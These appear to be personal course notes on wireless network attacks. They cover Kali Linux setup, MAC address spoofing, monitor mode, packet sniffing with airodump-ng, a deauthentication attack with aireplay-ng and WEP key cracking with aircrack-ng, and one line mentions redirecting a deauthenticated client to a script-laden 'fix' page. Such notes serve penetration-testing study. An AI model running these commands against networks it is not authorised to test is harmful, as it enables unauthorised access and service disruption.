SETTING UP THE VIRTUAL MACHINE

  -Install VirtualBox
  -Install Kali-Linux machine from downloaded from https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/
    -DO NOT use "VMWare Images", select "VirtualBox Images" on section's tab
    -Confirm use of NAT network in network settings
    -Login: root, PW: toor
  -Take snapshot, "Fresh Install"
  -Launch Kali cli, run "apt-get update"
  
  -Run:
    apt-get install terminator
    
  -add Terminator to dock for easy access
  -Terminator allows for multiple window frames in one cli
  
  
SETUP ANTANNAE

  -select USB setting from Ports in Kali-Linux
  
  -Run:
    apt-get update
    apt install realtek-rtl88xxau-dkms
    
  -restart virtualbox


Change MAC Address

  -Run:
    ifconfig
    ifconfig wlan0 down
    ifconfig wlan0 hw(hardware) ether 00:00:00:00
    ifconfig wlan0 up
  

CHANGE TO RANDOM MAC ADDRESS

  -Run:
    ifconfig wlan0 down
    macchanger -r wlan0
    ifconfig wlan0 down
    macchanger -s wlan0


CHANGE MODE MONITOR/MANAGED

  -Run:
    ifconfig wlan0 down
    airmon-ng check kill
    iwconfig wlan0 mode monitor
    ifconfig wlan0 up
    iwconfig



PACKET SNIFFING

**MUST BE IN MONITOR MODE**
-iwconfig
-airodump-ng wlan0
-ctrl + c to quit application


TARGET PACKET SNIFFING

-airodump-ng —bssid 00:00:00:00:00:00 —channel # —write test wlan0
-use Wireshark to decrypt packets(see futue Wireshark lesson)
	-you may view files on an open network 


DEAUTHENTICATION ATTACK
-  aireplay-ng —deauth [#deauth packets] -a [NetworkMac] -c [TargetMac] [Interface(mon0)]
-attack can be used to reroute client to a page that “fixes” the problem,  but contains script

WEP Crack

CODE: airodump-ng —bssid 00:00:00:00:00:00 —channel (number) —write basic_wep wlan0(my network)

-need to capture large number of packets —> using airodump-ng
-analyse the captured IVs and crack the key —> using aircrack-ng

CODE: aircrack-ng basic_wep-01.cap

-should say “KEY FOUND!”
-connect target network using ESSID(network) name, using ASCII as pw, or using key “[ 00:00:00:00:00 ]” (remove the “:” from the key

-restart Kali and connect again
